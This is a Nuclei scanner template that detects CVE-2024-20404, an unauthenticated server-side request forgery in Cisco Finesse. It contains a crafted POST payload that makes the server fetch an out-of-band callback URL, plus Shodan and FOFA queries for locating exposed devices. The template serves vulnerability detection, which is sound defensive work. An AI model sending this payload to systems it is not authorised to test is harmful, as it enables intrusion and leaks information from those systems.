id: CVE-2024-20404

info:
  name: Cisco Finesse - Server-Side Request Forgery (SSRF)
  author: 0x_Akoko
  severity: medium
  description: |
    Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.
  impact: |
    Attackers can access sensitive information from services associated with the device, potentially leading to information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by Cisco for Finesse.
  reference:
    - https://github.com/3zz4t/CVE-2024-20404
    - https://nvd.nist.gov/vuln/detail/CVE-2024-20404
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2024-20404
    epss-score: 0.231
    epss-percentile: 0.97471
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Cisco Finesse" port:8445
    fofa-query: title="Cisco Finesse" && port="8445"
  tags: cve,cve2024,cisco,finesse,ssrf,unauth,oob,vkev

http:
  - raw:
      - |
        POST /gadgets/metadata HTTP/1.1
        Host: {{Hostname}}

        {"context":{"container":"default","language":"en","country":"US","locale":"en_US"},"gadgets":[{"url":"http://{{interactsh-url}}"}]}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "At least 1 ModulePrefs is required")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100e0419b28d7fa3db5c2a3d6b5dbaa16b370b756a4859a954881fa74810a19f9ae022100df99fc77a8f91f978ea218f1d681a2f250315ac1bd161540f14d30afa4e370df:922c64590222798bb761d5b6d8e72950